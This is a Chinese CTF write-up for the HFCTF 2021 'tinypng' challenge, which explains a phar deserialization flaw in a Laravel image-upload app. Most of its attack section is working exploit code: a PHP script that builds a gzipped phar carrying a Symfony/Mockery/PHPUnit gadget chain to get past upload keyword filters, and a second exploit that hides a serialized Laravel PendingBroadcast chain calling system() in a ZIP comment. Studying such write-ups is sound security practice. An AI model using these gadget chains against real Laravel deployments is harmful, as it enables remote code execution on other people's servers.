复现环境:https://buuoj.cn/challenges#[HFCTF%202021%20Final]tinypng
查看源码。发现是laravel框架
先去看看路由routers/api.php
routers/web.php
api下有个user路由貌似没啥用,继续看路由
Route::post('/', [IndexController::class, 'fileUpload'])->name('file.upload.post');
//Don't expose the /image to others!
Route::get('/image', [ImageController::class, 'handle'])->name('image.handle');
index路由指向IndexController的fileUpload方法
image路由指向ImageController的handle方法
首先看下index
这里大致意思就是上传文件。内容不能有<?| php|HALT_COMPILER
。并且后缀得是png。然后会给你一个文件名。大致了解了。再继续看ImageController
这里接受了一个参数image然后explode取后缀。必须为png。接着。把这个$source
传入到了imgcompress类。
public function __construct($src, $percent = 1)
{
$this->src = $src;
$this->percent = $percent;
}
此时。$this->src
就等于我们传入的$source
。只是后缀不可控。继续看。传入后。又继续调用了compressImg方法。进入
public function compressImg($saveName)
{
$this->_openImage();
$this->_saveImage($saveName);
}
再跟进_openImage()方法
private function _openImage()
{
list($width, $height, $type, $attr) = getimagesize($this->src);
$this->imageinfo = array(
'width' => $width,
'height' => $height,
'type' => image_type_to_extension($type, false),
'attr' => $attr
);
$fun = "imagecreatefrom" . $this->imageinfo['type'];
$this->image = $fun($this->src);
$this->_thumpImage();
}
getimagesize($this->src)
这。不多说了。$this->src
可控。直接phar一把梭。但是前面上传文件的内容又不能有那些关键字。咋办呢。
这里19年的D3CTF就考到过https://blog.csdn.net/a3320315/article/details/104423207
这个绕过姿势。。。线下的时候没有一个队想起来(又或许是大佬们都做PK去了。不纠结于AWDP。毕竟一题PK顶一天的AWDP)。只有L3H现场挖了一个新姿势。。过段时间会写。。
EXP:
<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
private $route;
public function __construct($class){
$this->parent=$class;
$this->route='test';
}
}
}
namespace Mockery{
class HigherOrderMessage{
private $mock;
private $method;
public function __construct($class){
$this->mock=$class;
$this->method='generate';
}
}
}
namespace PHPUnit\Framework\MockObject{
final class MockTrait{
private $mockName;
private $classCode;
public function __construct(){
$this->mockName='123';
$this->classCode='phpinfo();';
}
}
}
namespace{
use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use \Mockery\HigherOrderMessage;
use \PHPUnit\Framework\MockObject\MockTrait;
$c=new MockTrait();
$b=new HigherOrderMessage($c);
$a=new ImportConfigurator($b);
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}
?>
生成phar后 gzip phar.phar 。产生一个phar.phar.gz
上传拿到文件名。然后image路由传phar://../storage/app/uploads/xxxxxxxxxxx.png
完事了
这是最简单的办法。还有通过ZIP注释反序列的。我简单放下EXP。这种方法。。得找一个类中不带关键字的
<?php
$a=base64_decode('Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7Uzo5OiJcMDAqXDAwZXZlbnRzIjtPOjMxOiJJbGx1bWluYXRlXFZhbGlkYXRpb25cVmFsaWRhdG9yIjoxOntzOjEwOiJleHRlbnNpb25zIjthOjE6e3M6MDoiIjtzOjY6InN5c3RlbSI7fX1TOjg6IlwwMCpcMDBldmVudCI7czo2OiJ3aG9hbWkiO30=');
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
$zip->addFromString('test.txt', 'file content goes here');
$zip->setArchiveComment($a);
$zip->close();
替换效果如下。\00是我生成序列化类的时候替换的。。正常应该是00不可见字符串
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"\00*\00events";O:31:"Illuminate\Validation\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}s:8:"\00*\00event";s:6:"whoami";}
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:31:"Illuminate\Validation\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}S:8:"\00*\00event";s:6:"whoami";}